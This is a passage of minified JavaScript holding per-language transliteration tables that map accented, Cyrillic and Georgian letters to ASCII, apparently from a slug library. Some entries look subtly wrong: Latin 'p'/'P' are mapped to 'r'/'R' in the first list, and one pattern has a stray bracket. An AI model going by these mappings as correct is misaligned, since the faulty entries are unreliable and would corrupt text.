g,alternative:"v"},{letter:/[\u0412]/g,alternative:"V"},{letter:/[\u0433]/g,alternative:"h"},{letter:/[\u0413]/g,alternative:"H"},{letter:/[\u0491]/g,alternative:"g"},{letter:/[\u0490]/g,alternative:"G"},{letter:/[\u0434]/g,alternative:"d"},{letter:/[\u0414]/g,alternative:"D"},{letter:/[\u043A]/g,alternative:"k"},{letter:/[\u041A]/g,alternative:"K"},{letter:/[\u043B]/g,alternative:"l"},{letter:/[\u041B]/g,alternative:"L"},{letter:/[\u043C]/g,alternative:"m"},{letter:/[\u041C]/g,alternative:"M"},{letter:/[\u0070]/g,alternative:"r"},{letter:/[\u0050]/g,alternative:"R"},{letter:/[\u043F]/g,alternative:"p"},{letter:/[\u041F]/g,alternative:"P"},{letter:/[\u0441]/g,alternative:"s"},{letter:/[\u0421]/g,alternative:"S"},{letter:/[\u0442]/g,alternative:"t"},{letter:/[\u0422]/g,alternative:"T"},{letter:/[\u0443]/g,alternative:"u"},{letter:/[\u0423]/g,alternative:"U"},{letter:/[\u0444]/g,alternative:"f"},{letter:/[\u0424]/g,alternative:"F"},{letter:/[\u0445]/g,alternative:"kh"},{letter:/[\u0425]/g,alternative:"Kh"},{letter:/[\u0446]/g,alternative:"ts"},{letter:/[\u0426]/g,alternative:"Ts"},{letter:/[\u0447]/g,alternative:"ch"},{letter:/[\u0427]/g,alternative:"Ch"},{letter:/[\u0448]/g,alternative:"sh"},{letter:/[\u0428]/g,alternative:"Sh"},{letter:/[\u0449]/g,alternative:"shch"},{letter:/[\u0429]/g,alternative:"Shch"},{letter:/[\u044C\u042C]/g,alternative:""},{letter:/[\u0436]/g,alternative:"zh"},{letter:/[\u0416]/g,alternative:"Zh"},{letter:/[\u0437]/g,alternative:"z"},{letter:/[\u0417]/g,alternative:"Z"},{letter:/[\u0438]/g,alternative:"y"},{letter:/[\u0418]/g,alternative:"Y"},{letter:/^[\u0454]/g,alternative:"ye"},{letter:/[\s][\u0454]/g,alternative:" ye"},{letter:/[\u0454]/g,alternative:"ie"},{letter:/^[\u0404]/g,alternative:"Ye"},{letter:/[\s][\u0404]/g,alternative:" Ye"},{letter:/[\u0404]/g,alternative:"IE"},{letter:/^[\u0457]/g,alternative:"yi"},{letter:/[\s][\u0457]/g,alternative:" yi"},{letter:/[\u0457]/g,alternative:"i"},{letter:/^[\u0407]/g,alternative:"Yi"},{letter:/[\s][\u0407]/g,alternative:" Yi"},{letter:/[\u0407]/g,alternative:"I"},{letter:/^[\u0439]/g,alternative:"y"},{letter:/[\s][\u0439]/g,alternative:" y"},{letter:/[\u0439]/g,alternative:"i"},{letter:/^[\u0419]/g,alternative:"Y"},{letter:/[\s][\u0419]/g,alternative:" Y"},{letter:/[\u0419]/g,alternative:"I"},{letter:/^[\u044E]/g,alternative:"yu"},{letter:/[\s][\u044E]/g,alternative:" yu"},{letter:/[\u044E]/g,alternative:"iu"},{letter:/^[\u042E]/g,alternative:"Yu"},{letter:/[\s][\u042E]/g,alternative:" Yu"},{letter:/[\u042E]/g,alternative:"IU"},{letter:/^[\u044F]/g,alternative:"ya"},{letter:/[\s][\u044F]/g,alternative:" ya"},{letter:/[\u044F]/g,alternative:"ia"},{letter:/^[\u042F]/g,alternative:"Ya"},{letter:/[\s][\u042F]/g,alternative:" Ya"},{letter:/[\u042F]/g,alternative:"IA"}],br:[{letter:/\u0063\u0027\u0068/g,alternative:"ch"},{letter:/\u0043\u0027\u0048/g,alternative:"CH"},{letter:/[\u00e2]/g,alternative:"a"},{letter:/[\u00c2]/g,alternative:"A"},{letter:/[\u00ea]/g,alternative:"e"},{letter:/[\u00ca]/g,alternative:"E"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u00f4]/g,alternative:"o"},{letter:/[\u00d4]/g,alternative:"O"},{letter:/[\u00fb\u00f9\u00fc]/g,alternative:"u"},{letter:/[\u00db\u00d9\u00dc]/g,alternative:"U"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"}],ch:[{letter:/[\u0027]/g,alternative:""},{letter:/[\u00e5]/g,alternative:"a"},{letter:/[\u00c5]/g,alternative:"A"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"}],co:[{letter:/[\u00e2\u00e0]/g,alternative:"a"},{letter:/[\u00c2\u00c0]/g,alternative:"A"},{letter:/[\u00e6\u04d5]/g,alternative:"ae"},{letter:/[\u00c6\u04d4]/g,alternative:"Ae"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e9\u00ea\u00e8\u00eb]/g,alternative:"e"},{letter:/[\u00c9\u00ca\u00c8\u00cb]/g,alternative:"E"},{letter:/[\u00ec\u00ee\u00ef]/g,alternative:"i"},{letter:/[\u00cc\u00ce\u00cf]/g,alternative:"I"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"},{letter:/[\u00f4\u00f2]/g,alternative:"o"},{letter:/[\u00d4\u00d2]/g,alternative:"O"},{letter:/[\u0153]/g,alternative:"oe"},{letter:/[\u0152]]/g,alternative:"Oe"},{letter:/[\u00f9\u00fc]/g,alternative:"u"},{letter:/[\u00d9\u00dc]/g,alternative:"U"},{letter:/[\u00ff]/g,alternative:"y"},{letter:/[\u0178]/g,alternative:"Y"}],csb:[{letter:/[\u0105\u00e3]/g,alternative:"a"},{letter:/[\u0104\u00c3]/g,alternative:"A"},{letter:/[\u00e9\u00eb]/g,alternative:"e"},{letter:/[\u00c9\u00cb]/g,alternative:"E"},{letter:/[\u0142]/g,alternative:"l"},{letter:/[\u0141]/g,alternative:"L"},{letter:/[\u0144]/g,alternative:"n"},{letter:/[\u0143]/g,alternative:"N"},{letter:/[\u00f2\u00f3\u00f4]/g,alternative:"o"},{letter:/[\u00d2\u00d3\u00d4]/g,alternative:"O"},{letter:/[\u00f9]/g,alternative:"u"},{letter:/[\u00d9]/g,alternative:"U"},{letter:/[\u017c]/g,alternative:"z"},{letter:/[\u017b]/g,alternative:"Z"}],cy:[{letter:/[\u00e2]/g,alternative:"a"},{letter:/[\u00c2]/g,alternative:"A"},{letter:/[\u00ea]/g,alternative:"e"},{letter:/[\u00ca]/g,alternative:"E"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u00f4]/g,alternative:"o"},{letter:/[\u00d4]/g,alternative:"O"},{letter:/[\u00fb]/g,alternative:"u"},{letter:/[\u00db]/g,alternative:"U"},{letter:/[\u0175]/g,alternative:"w"},{letter:/[\u0174]/g,alternative:"W"},{letter:/[\u0177]/g,alternative:"y"},{letter:/[\u0176]/g,alternative:"Y"}],ee:[{letter:/[\u0256]/g,alternative:"d"},{letter:/[\u0189]/g,alternative:"D"},{letter:/[\u025b]/g,alternative:"e"},{letter:/[\u0190]/g,alternative:"E"},{letter:/[\u0192]/g,alternative:"f"},{letter:/[\u0191]/g,alternative:"F"},{letter:/[\u0263]/g,alternative:"g"},{letter:/[\u0194]/g,alternative:"G"},{letter:/[\u014b]/g,alternative:"ng"},{letter:/[\u014a]/g,alternative:"Ng"},{letter:/[\u0254]/g,alternative:"o"},{letter:/[\u0186]/g,alternative:"O"},{letter:/[\u028b]/g,alternative:"w"},{letter:/[\u01b2]/g,alternative:"W"},{letter:/\u0061\u0303/g,alternative:"a"},{letter:/[\u00e1\u00e0\u01ce\u00e2\u00e3]/g,alternative:"a"},{letter:/\u0041\u0303/g,alternative:"A"},{letter:/[\u00c1\u00c0\u01cd\u00c2\u00c3]/g,alternative:"A"},{letter:/[\u00e9\u00e8\u011b\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00c8\u011a\u00ca]/g,alternative:"E"},{letter:/[\u00f3\u00f2\u01d2\u00f4]/g,alternative:"o"},{letter:/[\u00d3\u00d2\u01d1\u00d4]/g,alternative:"O"},{letter:/[\u00fa\u00f9\u01d4\u00fb]/g,alternative:"u"},{letter:/[\u00da\u00d9\u01d3\u00db]/g,alternative:"U"},{letter:/[\u00ed\u00ec\u01d0\u00ee]/g,alternative:"i"},{letter:/[\u00cd\u00cc\u01cf\u00ce]/g,alternative:"I"}],et:[{letter:/[\u0161]/g,alternative:"sh"},{letter:/[\u0160]/g,alternative:"Sh"},{letter:/[\u017e]/g,alternative:"zh"},{letter:/[\u017d]/g,alternative:"Zh"},{letter:/[\u00f5\u00f6]/g,alternative:"o"},{letter:/[\u00d6\u00d5]/g,alternative:"O"},{letter:/[\u00e4]/g,alternative:"a"},{letter:/[\u00c4]/g,alternative:"A"},{letter:/[\u00fc]/g,alternative:"u"},{letter:/[\u00dc]/g,alternative:"U"}],eu:[{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00fc]/g,alternative:"u"},{letter:/[\u00dc]/g,alternative:"U"}],fuc:[{letter:/[\u0253]/g,alternative:"b"},{letter:/[\u0181]/g,alternative:"B"},{letter:/[\u0257]/g,alternative:"d"},{letter:/[\u018a]/g,alternative:"D"},{letter:/[\u014b]/g,alternative:"ng"},{letter:/[\u014a]/g,alternative:"Ng"},{letter:/[\u0272\u00f1]/g,alternative:"ny"},{letter:/[\u019d\u00d1]/g,alternative:"Ny"},{letter:/[\u01b4]/g,alternative:"y"},{letter:/[\u01b3]/g,alternative:"Y"},{letter:/[\u0260]/g,alternative:"g"},{letter:/[\u0193]/g,alternative:"G"}],fj:[{letter:/[\u0101]/g,alternative:"a"},{letter:/[\u0100]/g,alternative:"A"},{letter:/[\u0113]/g,alternative:"e"},{letter:/[\u0112]/g,alternative:"E"},{letter:/[\u012b]/g,alternative:"i"},{letter:/[\u012a]/g,alternative:"I"},{letter:/[\u016b]/g,alternative:"u"},{letter:/[\u016a]/g,alternative:"U"},{letter:/[\u014d]/g,alternative:"o"},{letter:/[\u014c]/g,alternative:"O"}],frp:[{letter:/[\u00e2]/g,alternative:"a"},{letter:/[\u00c2]/g,alternative:"A"},{letter:/[\u00ea\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00ca\u00c8\u00c9]/g,alternative:"E"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u00fb\u00fc]/g,alternative:"u"},{letter:/[\u00db\u00dc]/g,alternative:"U"},{letter:/[\u00f4]/g,alternative:"o"},{letter:/[\u00d4]/g,alternative:"O"}],fur:[{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00e0\u00e2]/g,alternative:"a"},{letter:/[\u00c0\u00c2]/g,alternative:"A"},{letter:/[\u00e8\u00ea]/g,alternative:"e"},{letter:/[\u00c8\u00ca]/g,alternative:"E"},{letter:/[\u00ec\u00ee]/g,alternative:"i"},{letter:/[\u00cc\u00ce]/g,alternative:"I"},{letter:/[\u00f2\u00f4]/g,alternative:"o"},{letter:/[\u00d2\u00d4]/g,alternative:"O"},{letter:/[\u00f9\u00fb]/g,alternative:"u"},{letter:/[\u00d9\u00db]/g,alternative:"U"},{letter:/[\u010d]/g,alternative:"c"},{letter:/[\u010c]/g,alternative:"C"},{letter:/[\u011f]/g,alternative:"g"},{letter:/[\u011e]/g,alternative:"G"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"}],fy:[{letter:/[\u00e2\u0101\u00e4\u00e5]/g,alternative:"a"},{letter:/[\u00c2\u0100\u00c4\u00c5]/g,alternative:"A"},{letter:/[\u00ea\u00e9\u0113]/g,alternative:"e"},{letter:/[\u00ca\u00c9\u0112]/g,alternative:"E"},{letter:/[\u00f4\u00f6]/g,alternative:"o"},{letter:/[\u00d4\u00d6]/g,alternative:"O"},{letter:/[\u00fa\u00fb\u00fc]/g,alternative:"u"},{letter:/[\u00da\u00db\u00dc]/g,alternative:"U"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u0111\u00f0]/g,alternative:"d"},{letter:/[\u0110\u00d0]/g,alternative:"D"}],ga:[{letter:/[\u00e1]/g,alternative:"a"},{letter:/[\u00c1]/g,alternative:"A"},{letter:/[\u00e9]/g,alternative:"e"},{letter:/[\u00c9]/g,alternative:"E"},{letter:/[\u00f3]/g,alternative:"o"},{letter:/[\u00d3]/g,alternative:"O"},{letter:/[\u00fa]/g,alternative:"u"},{letter:/[\u00da]/g,alternative:"U"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"}],gd:[{letter:/[\u00e0]/g,alternative:"a"},{letter:/[\u00c0]/g,alternative:"A"},{letter:/[\u00e8]/g,alternative:"e"},{letter:/[\u00c8]/g,alternative:"E"},{letter:/[\u00f2]/g,alternative:"o"},{letter:/[\u00d2]/g,alternative:"O"},{letter:/[\u00f9]/g,alternative:"u"},{letter:/[\u00d9]/g,alternative:"U"},{letter:/[\u00ec]/g,alternative:"i"},{letter:/[\u00cc]/g,alternative:"I"}],gl:[{letter:/[\u00e1\u00e0]/g,alternative:"a"},{letter:/[\u00c1\u00c0]/g,alternative:"A"},{letter:/[\u00e9\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00ca]/g,alternative:"E"},{letter:/[\u00ed\u00ef]/g,alternative:"i"},{letter:/[\u00cd\u00cf]/g,alternative:"I"},{letter:/[\u00f3]/g,alternative:"o"},{letter:/[\u00d3]/g,alternative:"O"},{letter:/[\u00fa\u00fc]/g,alternative:"u"},{letter:/[\u00da\u00dc]/g,alternative:"U"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"}],gn:[{letter:/[\u2019]/g,alternative:""},{letter:/\u0067\u0303/g,alternative:"g"},{letter:/\u0047\u0303/g,alternative:"G"},{letter:/[\u00e3]/g,alternative:"a"},{letter:/[\u00c3]/g,alternative:"A"},{letter:/[\u1ebd]/g,alternative:"e"},{letter:/[\u1ebc]/g,alternative:"E"},{letter:/[\u0129]/g,alternative:"i"},{letter:/[\u0128]/g,alternative:"I"},{letter:/[\u00f5]/g,alternative:"o"},{letter:/[\u00d5]/g,alternative:"O"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"},{letter:/[\u0169]/g,alternative:"u"},{letter:/[\u0168]/g,alternative:"U"},{letter:/[\u1ef9]/g,alternative:"y"},{letter:/[\u1ef8]/g,alternative:"Y"}],gsw:[{letter:/[\u00e4]/g,alternative:"a"},{letter:/[\u00c4]/g,alternative:"A"},{letter:/[\u00f6]/g,alternative:"o"},{letter:/[\u00d6]/g,alternative:"O"},{letter:/[\u00fc]/g,alternative:"u"},{letter:/[\u00dc]/g,alternative:"U"}],hat:[{letter:/[\u00e8]/g,alternative:"e"},{letter:/[\u00c8]/g,alternative:"E"},{letter:/[\u00f2]/g,alternative:"o"},{letter:/[\u00d2]/g,alternative:"O"}],haw:[{letter:/[\u02bb\u0027\u2019]/g,alternative:""},{letter:/[\u0101]/g,alternative:"a"},{letter:/[\u0113]/g,alternative:"e"},{letter:/[\u012b]/g,alternative:"i"},{letter:/[\u014d]/g,alternative:"o"},{letter:/[\u016b]/g,alternative:"u"},{letter:/[\u0100]/g,alternative:"A"},{letter:/[\u0112]/g,alternative:"E"},{letter:/[\u012a]/g,alternative:"I"},{letter:/[\u014c]/g,alternative:"O"},{letter:/[\u016a]/g,alternative:"U"}],hr:[{letter:/[\u010d\u0107]/g,alternative:"c"},{letter:/[\u010c\u0106]/g,alternative:"C"},{letter:/[\u0111]/g,alternative:"dj"},{letter:/[\u0110]/g,alternative:"Dj"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u017e]/g,alternative:"z"},{letter:/[\u017d]/g,alternative:"Z"},{letter:/[\u01c4]/g,alternative:"DZ"},{letter:/[\u01c5]/g,alternative:"Dz"},{letter:/[\u01c6]/g,alternative:"dz"}],ka:[{letter:/[\u10d0]/g,alternative:"a"},{letter:/[\u10d1]/g,alternative:"b"},{letter:/[\u10d2]/g,alternative:"g"},{letter:/[\u10d3]/g,alternative:"d"},{letter:/[\u10d4]/g,alternative:"e"},{letter:/[\u10d5]/g,alternative:"v"},{letter:/[\u10d6]/g,alternative:"z"},{letter:/[\u10d7]/g,alternative:"t"},{letter:/[\u10d8]/g,alternative:"i"},{letter:/[\u10d9]/g,alternative:"k"},{letter:/[\u10da]/g,alternative:"l"},{letter:/[\u10db]/g,alternative:"m"},{letter:/[\u10dc]/g,alternative:"n"},{letter:/[\u10dd]/g,alternative:"o"},{letter:/[\u10de]/g,alternative:"p"},{letter:/[\u10df]/g,alternative:"zh"},{letter:/[\u10e0]/g,alternative:"r"},{letter:/[\u10e1]/g,alternative:"s"},{letter:/[\u10e2]/g,alternative:"t"},{letter:/[\u10e3]/g,alternative:"u"},{letter:/[\u10e4]/g,alternative:"p"},{letter:/[\u10e5]/g,alternative:"k"},{letter:/[\u10e6]/g,alternative:"gh"},{letter:/[\u10e7]/g,alternative:"q"},{letter:/[\u10e8]/g,alternative:"sh"},{letter:/[\u10e9]/g,alternative:"ch"},{letter:/[\u10ea]/g,alternative:"ts"},{letter:/[\u10eb]/g,alternative:"dz"},{letter:/[\u10ec]/g,alternative:"ts"},{letter:/[\u10ed]/g,alternative:"ch"},{letter:/[\u10ee]/g,alternative:"kh"},{letter:/[\u10ef]/g,alternative:"j"},{letter:/[\u10f0]/g,alternative:"h"}],kal:[{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00F8]/g,alternative:"oe"},{letter:/[\u00D8]/g,alternative:"Oe"}],kin:[{letter:/[\u2019\u0027]/g,alternative:""}],lb:[{letter:/[\u00e4]/g,alternative:"a"},{letter:/[\u00c4]/g,alternative:"A"},{letter:/[\u00eb\u00e9]/g,alternative:"e"},{letter:/[\u00cb\u00c9]/g,alternative:"E"}],li:[{letter:/[\u00e1\u00e2\u00e0\u00e4]/g,alternative:"a"},{letter:/[\u00c1\u00c2\u00c0\u00c4]/g,alternative:"A"},{letter:/[\u00eb\u00e8\u00ea]/g,alternative:"e"},{letter:/[\u00cb\u00c8\u00ca]/g,alternative:"E"},{letter:/[\u00f6\u00f3]/g,alternative:"o"},{letter:/[\u00d6\u00d3]/g,alternative:"O"}],lin:[{letter:/[\u00e1\u00e2\u01ce]/g,alternative:"a"},{letter:/[\u00c1\u00c2\u01cd]/g,alternative:"A"},{letter:/\u025b\u0301/g,alternative:"e"},{letter:/\u025b\u0302/g,alternative:"e"},{letter:/\u025b\u030c/g,alternative:"e"},{letter:/[\u00e9\u00ea\u011b\u025b]/g,alternative:"e"},{letter:/\u0190\u0301/g,alternative:"E"},{letter:/\u0190\u0302/g,alternative:"E"},{letter:/\u0190\u030c/g,alternative:"E"},{letter:/[\u00c9\u00ca\u011a\u0190]/g,alternative:"E"},{letter:/[\u00ed\u00ee\u01d0]/g,alternative:"i"},{letter:/[\u00cd\u00ce\u01cf]/g,alternative:"I"},{letter:/\u0254\u0301/g,alternative:"o"},{letter:/\u0254\u0302/g,alternative:"o"},{letter:/\u0254\u030c/g,alternative:"o"},{letter:/[\u00f3\u00f4\u01d2\u0254]/g,alternative:"o"},{letter:/\u0186\u0301/g,alternative:"O"},{letter:/\u0186\u0302/g,alternative:"O"},{letter:/\u0186\u030c/g,alternative:"O"},{letter:/[\u00d3\u00d4\u01d1\u0186]/g,alternative:"O"},{letter:/[\u00fa]/g,alternative:"u"},{letter:/[\u00da]/g,alternative:"U"}],lt:[{letter:/[\u0105]/g,alternative:"a"},{letter:/[\u0104]/g,alternative:"A"},{letter:/[\u010d]/g,alternative:"c"},{letter:/[\u010c]/g,alternative:"C"},{letter:/[\u0119\u0117]/g,alternative:"e"},{letter:/[\u0118\u0116]/g,alternative:"E"},{letter:/[\u012f]/g,alternative:"i"},{letter:/[\u012e]/g,alternative:"I"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u0173\u016b]/g,alternative:"u"},{letter:/[\u0172\u016a]/g,alternative:"U"},{letter:/[\u017e]/g,alternative:"z"},{letter:/[\u017d]/g,alternative:"Z"}],mg:[{letter:/[\u00f4]/g,alternative:"ao"},{letter:/[\u00d4]/g,alternative:"Ao"}],mk:[{letter:/[\u0430]/g,alternative:"a"},{letter:/[\u0410]/g,alternative:"A"},{letter:/[\u0431]/g,alternative:"b"},{letter:/[\u0411]/g,alternative:"B"},{letter:/[\u0432]/g,alternative:"v"},{letter:/[\u0412]/g,alternative:"V"},{letter:/[\u0433]/g,alternative:"g"},{letter:/[\u0413]/g,alternative:"G"},{letter:/[\u0434]/g,alternative:"d"},{letter:/[\u0414]/g,alternative:"D"},{letter:/[\u0453]/g,alternative:"gj"},{letter:/[\u0403]/g,alternative:"Gj"},{letter:/[\u0435]/g,alternative:"e"},{letter:/[\u0415]/g,alternative:"E"},{letter:/[\u0436]/g,alternative:"zh"},{letter:/[\u0416]/g,alternative:"Zh"},{letter:/[\u0437]/g,alternative:"z"},{letter:/[\u0417]/g,alternative:"Z"},{letter:/[\u0455]/g,alternative:"dz"},{letter:/[\u0405]/g,alternative:"Dz"},{letter:/[\u0438]/g,alternative:"i"},{letter:/[\u0418]/g,alternative:"I"},{letter:/[\u0458]/g,alternative:"j"},{letter:/[\u0408]/g,alternative:"J"},{letter:/[\u043A]/g,alternative:"k"},{letter:/[\u041A]/g,alternative:"K"},{letter:/[\u043B]/g,alternative:"l"},{letter:/[\u041B]/g,alternative:"L"},{letter:/[\u0459]/g,alternative:"lj"},{letter:/[\u0409]/g,alternative:"Lj"},{letter:/[\u043C]/g,alternative:"m"},{letter:/[\u041C]/g,alternative:"M"},{letter:/[\u043D]/g,alternative:"n"},{letter:/[\u041D]/g,alternative:"N"},{letter:/[\u045A]/g,alternative:"nj"},{letter:/[\u040A]/g,alternative:"Nj"},{letter:/[\u043E]/g,alternative:"o"},{letter:/[\u041E]/g,alternative:"O"},{letter:/[\u0440]/g,alternative:"r"},{letter:/[\u0420]/g,alternative:"R"},{letter:/[\u043F]/g,alternative:"p"},{letter:/[\u041F]/g,alternative:"P"},{letter:/[\u0441]/g,alternative:"s"},{letter:/[\u0421]/g,alternative:"S"},{letter:/[\u0442]/g,alternative:"t"},{letter:/[\u0422]/g,alternative:"T"},{letter:/[\u045C]/g,alternative:"kj"},{letter:/[\u040C]/g,alternative:"Kj"},{letter:/[\u0443]/g,alternative:"u"},{letter:/[\u0423]/g,alternative:"U"},{letter:/[\u0444]/g,alternative:"f"},{letter:/[\u0424]/g,alternative:"F"},{letter:/[\u0445]/g,alternative:"h"},{letter:/[\u0425]/g,alternative:"H"},{letter:/[\u0446]/g,alternative:"c"},{letter:/[\u0426]/g,alternative:"C"},{letter:/[\u0447]/g,alternative:"ch"},{letter:/[\u0427]/g,alternative:"Ch"},{letter:/[\u045F]/g,alternative:"dj"},{letter:/[\u040F]/g,alternative:"Dj"},{letter:/[\u0448]/g,alternative:"sh"},{letter:/[\u0428]/g,alternative:"Sh"}],mri:[{letter:/[\u0101]/g,alternative:"aa"},{letter:/[\u0100]/g,alternative:"Aa"},{letter:/[\u0113]/g,alternative:"ee"},{letter:/[\u0112]/g,alternative:"Ee"},{letter:/[\u012b]/g,alternative:"ii"},{letter:/[\u012a]/g,alternative:"Ii"},{letter:/[\u014d]/g,alternative:"oo"},{letter:/[\u014c]/g,alternative:"Oo"},{letter:/[\u016b]/g,alternative:"uu"},{letter:/[\u016a]/g,alternative:"Uu"}],mwl:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e1]/g,alternative:"a"},{letter:/[\u00c1]/g,alternative:"A"},{letter:/[\u00e9\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00ca]/g,alternative:"E"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u00f3\u00f4]/g,alternative:"o"},{letter:/[\u00d3\u00d4]/g,alternative:"O"},{letter:/[\u00fa\u0169]/g,alternative:"u"},{letter:/[\u00da\u0168]/g,alternative:"U"}],oci:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e0\u00e1]/g,alternative:"a"},{letter:/[\u00c0\u00c1]/g,alternative:"A"},{letter:/[\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00c8\u00c9]/g,alternative:"E"},{letter:/[\u00ed\u00ef]/g,alternative:"i"},{letter:/[\u00cd\u00cf]/g,alternative:"I"},{letter:/[\u00f2\u00f3]/g,alternative:"o"},{letter:/[\u00d2\u00d3]/g,alternative:"O"},{letter:/[\u00fa\u00fc]/g,alternative:"u"},{letter:/[\u00da\u00dc]/g,alternative:"U"},{letter:/[\u00b7]/g,alternative:""}],orm:[{letter:/[\u0027]/g,alternative:""}],pt:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e1\u00e2\u00e3\u00e0]/g,alternative:"a"},{letter:/[\u00c1\u00c2\u00c3\u00c0]/g,alternative:"A"},{letter:/[\u00e9\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00ca]/g,alternative:"E"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u00f3\u00f4\u00f5]/g,alternative:"o"},{letter:/[\u00d3\u00d4\u00d5]/g,alternative:"O"},{letter:/[\u00fa]/g,alternative:"u"},{letter:/[\u00da]/g,alternative:"U"}],roh:[{letter:/[\u00e9\u00e8\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00c8\u00ca]/g,alternative:"E"},{letter:/[\u00ef]/g,alternative:"i"},{letter:/[\u00cf]/g,alternative:"I"},{letter:/[\u00f6]/g,alternative:"oe"},{letter:/[\u00d6]/g,alternative:"Oe"},{letter:/[\u00fc]/g,alternative:"ue"},{letter:/[\u00dc]/g,alternative:"Ue"},{letter:/[\u00e4]/g,alternative:"ae"},{letter:/[\u00c4]/g,alternative:"Ae"}],rup:[{letter:/[\u00e3]/g,alternative:"a"},{letter:/[\u00c3]/g,alternative:"A"}],ro:[{letter:/[\u0103\u00e2]/g,alternative:"a"},{letter:/[\u0102\u00c2]/g,alternative:"A"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u0219\u015f]/g,alternative:"s"},{letter:/[\u0218\u015e]/g,alternative:"S"},{letter:/[\u021b\u0163]/g,alternative:"t"},{letter:/[\u021a\u0162]/g,alternative:"T"}],tlh:[{letter:/[\u2019\u0027]/g,alternative:""}],sk:[{letter:/[\u01c4]/g,alternative:"DZ"},{letter:/[\u01c5]/g,alternative:"Dz"},{letter:/[\u01c6]/g,alternative:"dz"},{letter:/[\u00e1\u00e4]/g,alternative:"a"},{letter:/[\u00c1\u00c4]/g,alternative:"A"},{letter:/[\u010d]/g,alternative:"c"},{letter:/[\u010c]/g,alternative:"C"},{letter:/[\u010f]/g,alternative:"d"},{letter:/[\u010e]/g,alternative:"D"},{letter:/[\u00e9]/g,alternative:"e"},{letter:/[\u00c9]/g,alternative:"E"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u013e\u013a]/g,alternative:"l"},{letter:/[\u013d\u0139]/g,alternative:"L"},{letter:/[\u0148]/g,alternative:"n"},{letter:/[\u0147]/g,alternative:"N"},{letter:/[\u00f3\u00f4]/g,alternative:"o"},{letter:/[\u00d3\u00d4]/g,alternative:"O"},{letter:/[\u0155]/g,alternative:"r"},{letter:/[\u0154]/g,alternative:"R"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u0165]/g,alternative:"t"},{letter:/[\u0164]/g,alternative:"T"},{letter:/[\u00fa]/g,alternative:"u"},{letter:/[\u00da]/g,alternative:"U"},{letter:/[\u00fd]/g,alternative:"y"},{letter:/[\u00dd]/g,alternative:"Y"},{letter:/[\u017e]/g,alternative:"z"},{letter:/[\u017d]/g,alternative:"Z"}],sl:[{letter:/[\u010d\u0107]/g,alternative:"c"},{letter:/[\u010c\u0106]/g,alternative:"C"},{letter:/[\u0111]/g,alternative:"d"},{letter:/[\u0110]/g,alternative:"D"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u017e]/g,alternative:"z"},{letter:/[\u017d]/g,alternative:"Z"},{letter:/[\u00e0\u00e1\u0203\u0201]/g,alternative:"a"},{letter:/[\u00c0\u00c1\u0202\u0200]/g,alternative:"A"},{letter:/[\u00e8\u00e9\u0207\u0205]/g,alternative:"e"},{letter:/\u01dd\u0300/g,alternative:"e"},{letter:/\u01dd\u030f/g,alternative:"e"},{letter:/\u1eb9\u0301/g,alternative:"e"},{letter:/\u1eb9\u0311/g,alternative:"e"},{letter:/[\u00c8\u00c9\u0206\u0204]/g,alternative:"E"},{letter:/\u018e\u030f/g,alternative:"E"},{letter:/\u018e\u0300/g,alternative:"E"},{letter:/\u1eb8\u0311/g,alternative:"E"},{letter:/\u1eb8\u0301/g,alternative:"E"},{letter:/[\u00ec\u00ed\u020b\u0209]/g,alternative:"i"},{letter:/[\u00cc\u00cd\u020a\u0208]/g,alternative:"I"},{letter:/[